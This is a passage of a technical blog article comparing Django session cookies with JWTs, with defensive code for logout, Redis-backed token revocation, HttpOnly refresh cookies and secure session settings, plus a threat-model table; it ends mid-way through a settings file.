&lt;p&gt;This is where Django sessions have a structural advantage that JWTs cannot match without additional infrastructure.&lt;/p&gt;

&lt;p&gt;A Django session ID is a server-side reference. When you call &lt;code&gt;request.session.flush()&lt;/code&gt;, the session record is deleted from the backing store (database, cache, file). Every subsequent request that presents that session cookie gets a 403 or redirect to login because the server-side record no longer exists. Logout is immediate, complete, and requires no coordination across services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py — complete logout with Django sessions
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.contrib.auth&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;logout&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.http&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;JsonResponse&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;logout_view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# calls request.session.flush() + clears auth
&lt;/span&gt;    &lt;span class="c1"&gt;# The session cookie is now invalid — any replay of it hits a missing session record
&lt;/span&gt;    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;JsonResponse&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;logged out&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;delete_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sessionid&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# cosmetic; server-side flush is what matters
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A stateless JWT doesn't have this property. The token is self-contained and valid until its &lt;code&gt;exp&lt;/code&gt; claim passes. Calling "logout" on the client by deleting the cookie or clearing &lt;code&gt;localStorage&lt;/code&gt; only affects that device. If an attacker already exfiltrated the token, it keeps working.&lt;/p&gt;

&lt;p&gt;The standard mitigation is a denylist: store invalidated JTIs (JWT IDs) in Redis or a fast cache, check on every request, reject hits. This works, but it reintroduces statefulness — you're now running a distributed session store by another name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# middleware.py — Redis-backed JWT denylist check
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework_simplejwt.tokens&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;UntypedToken&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework_simplejwt.exceptions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;InvalidToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TokenError&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.http&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;JsonResponse&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StrictRedis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;redis://localhost:6379/0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JWTDenylistMiddleware&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;get_response&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_response&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__call__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;auth_header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COOKIES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;access_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; \
                      &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;META&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;HTTP_AUTHORIZATION&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;auth_header&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;UntypedToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auth_header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;jti&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;jti&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;jti&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;denylist:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;jti&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                    &lt;span class="c1"&gt;# reject before view logic — token was explicitly revoked
&lt;/span&gt;                    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;JsonResponse&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;detail&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Token revoked&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;except &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InvalidToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TokenError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="k"&gt;pass&lt;/span&gt;  &lt;span class="c1"&gt;# let the view's authentication class return the proper error
&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;revoke_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jti&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ttl_seconds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# TTL matches remaining token lifetime — no need to keep dead entries forever
&lt;/span&gt;    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;denylist:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;jti&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ttl_seconds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;a href="https://www.codereviewlab.com/learning/broken-authentication" rel="noopener noreferrer"&gt;broken authentication patterns&lt;/a&gt; lab covers the class of bugs this introduces — race conditions on rotation, denylist misses during Redis failover, and token reuse after a rotation acknowledgment is lost.&lt;/p&gt;

&lt;p&gt;For incident response, the operational difference is significant. Suspect a session was compromised? With Django sessions: delete the row. With JWTs and no denylist: wait for expiry or deploy a denylist under load. Teams that have been through an account takeover incident tend to develop strong opinions about this difference quickly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Threat model scorecard: XSS, CSRF, MITM, replay
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Threat&lt;/th&gt;
&lt;th&gt;Django &lt;code&gt;HttpOnly&lt;/code&gt; Session Cookie&lt;/th&gt;
&lt;th&gt;JWT in &lt;code&gt;localStorage&lt;/code&gt;
&lt;/th&gt;
&lt;th&gt;JWT in &lt;code&gt;HttpOnly&lt;/code&gt; Cookie&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;XSS token theft&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Blocked (&lt;code&gt;HttpOnly&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Fully exposed&lt;/td&gt;
&lt;td&gt;Blocked (&lt;code&gt;HttpOnly&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CSRF&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Requires &lt;code&gt;SameSite&lt;/code&gt; + CSRF middleware&lt;/td&gt;
&lt;td&gt;Not applicable (no cookie)&lt;/td&gt;
&lt;td&gt;Requires &lt;code&gt;SameSite&lt;/code&gt; + CSRF middleware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MITM / passive interception&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Blocked with &lt;code&gt;Secure&lt;/code&gt; flag + HTTPS&lt;/td&gt;
&lt;td&gt;Blocked with HTTPS&lt;/td&gt;
&lt;td&gt;Blocked with &lt;code&gt;Secure&lt;/code&gt; flag + HTTPS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Replay after logout&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Impossible (server-side flush)&lt;/td&gt;
&lt;td&gt;Possible until &lt;code&gt;exp&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Possible until &lt;code&gt;exp&lt;/code&gt; (without denylist)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Token revocation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Immediate&lt;/td&gt;
&lt;td&gt;Requires denylist&lt;/td&gt;
&lt;td&gt;Requires denylist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cross-domain use&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not possible (SameSite blocks it)&lt;/td&gt;
&lt;td&gt;Works via &lt;code&gt;Authorization&lt;/code&gt; header&lt;/td&gt;
&lt;td&gt;Requires &lt;code&gt;SameSite=None; Secure&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mobile client auth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Awkward (cookies on native apps)&lt;/td&gt;
&lt;td&gt;Natural fit&lt;/td&gt;
&lt;td&gt;Workable with secure storage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Operational complexity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low (session table + cache)&lt;/td&gt;
&lt;td&gt;Medium (short TTL management)&lt;/td&gt;
&lt;td&gt;Medium-High (rotation + denylist)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The honest read of this table: for a same-domain web app with a standard browser client, Django session cookies win on almost every dimension. The JWT in &lt;code&gt;localStorage&lt;/code&gt; pattern is the worst of both worlds — it reintroduces statefulness on the frontend while removing the server-side revocation safety net.&lt;/p&gt;




&lt;h2&gt;
  
  
  When a JWT actually makes sense in a Django app
&lt;/h2&gt;

&lt;p&gt;There are legitimate cases. Forcing Django sessions into every architecture is its own kind of mistake.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mobile and native clients&lt;/strong&gt; don't have a reliable cookie jar and can't take advantage of &lt;code&gt;HttpOnly&lt;/code&gt; cookies without additional WebView configuration. JWTs stored in platform secure storage (iOS Keychain, Android Keystore) are the appropriate pattern there. The constraint is "secure storage" — not &lt;code&gt;localStorage&lt;/code&gt;, not SharedPreferences in plaintext.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cross-domain SPAs&lt;/strong&gt; where the API and frontend are on different registrable domains (e.g., &lt;code&gt;api.company.com&lt;/code&gt; and &lt;code&gt;app.otherdomain.com&lt;/code&gt;) can't use &lt;code&gt;SameSite=Lax&lt;/code&gt; cookies. Credentialed cookie sharing across different registrable domains requires &lt;code&gt;SameSite=None; Secure&lt;/code&gt; and explicit CORS configuration, which creates its own attack surface. A short-lived JWT passed via &lt;code&gt;Authorization&lt;/code&gt; header avoids that entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Microservice-to-microservice auth&lt;/strong&gt; is the use case JWTs were actually designed for. Service A mints a signed token asserting claims about the calling context; service B validates the signature without a network call. No shared session store needed.&lt;/p&gt;

&lt;p&gt;For cross-domain SPAs where you must use JWTs, keep access tokens in memory (a module-level variable or React context — not &lt;code&gt;localStorage&lt;/code&gt;, not &lt;code&gt;sessionStorage&lt;/code&gt;) and store only the refresh token in an &lt;code&gt;HttpOnly&lt;/code&gt; cookie served by your auth endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py — in-memory access token pattern
# Access token is returned in the response body (JS holds it in memory only)
# Refresh token goes into an HttpOnly cookie — survives page reload, not readable by JS
&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CookieTokenRefreshView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;APIView&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;refresh_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COOKIES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;refresh_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;refresh_token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;detail&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;No refresh token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;refresh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;RefreshToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;refresh_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;refresh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;access_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;api_settings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ROTATE_REFRESH_TOKENS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="c1"&gt;# Old refresh token is blacklisted here; reject before use
&lt;/span&gt;                &lt;span class="n"&gt;refresh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;blacklist&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="n"&gt;new_refresh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;refresh&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;new_refresh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;refresh_token&lt;/span&gt;

            &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;access&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;  &lt;span class="c1"&gt;# access token in body — JS stores in memory
&lt;/span&gt;            &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;refresh_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_refresh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;httponly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;secure&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;samesite&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;max_age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;86400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/api/token/refresh/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# scope the cookie to the refresh endpoint only
&lt;/span&gt;            &lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;

        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;TokenError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;detail&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)},&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scoping the refresh cookie to &lt;code&gt;/api/token/refresh/&lt;/code&gt; via the &lt;code&gt;path&lt;/code&gt; attribute means it isn't sent on every API request, reducing the CSRF exposure window.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recommended defaults for new Django projects
&lt;/h2&gt;

&lt;p&gt;Start here and deviate only when your architecture requires it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# settings.py — production baseline
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;DEBUG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="c1"&gt;# Session security
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_HTTPONLY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;    &lt;span class="c1"&gt;# default True, but be explicit
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_SECURE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;      &lt;span class="c1"&gt;# require HTTPS — override to False in local dev only
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_SAMESITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;  &lt;span class="c1"&gt;# blocks cross-site POST CSRF without breaking OAuth flows
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_AGE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;         &lt;span class="c1"&gt;# 1 hour idle expiry; tune per sensitivity
&lt;/span&gt;&lt;span class="n"&gt;SESSION_EXPIRE_AT_BROWSER_CLOSE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;SESSION_ENGINE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;django.contrib.sessions.backends.cached_db&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;  &lt;span class="c1"&gt;# cache-backed, survives restart
&lt;/span&gt;
&lt;span class="c1"&gt;# CSRF
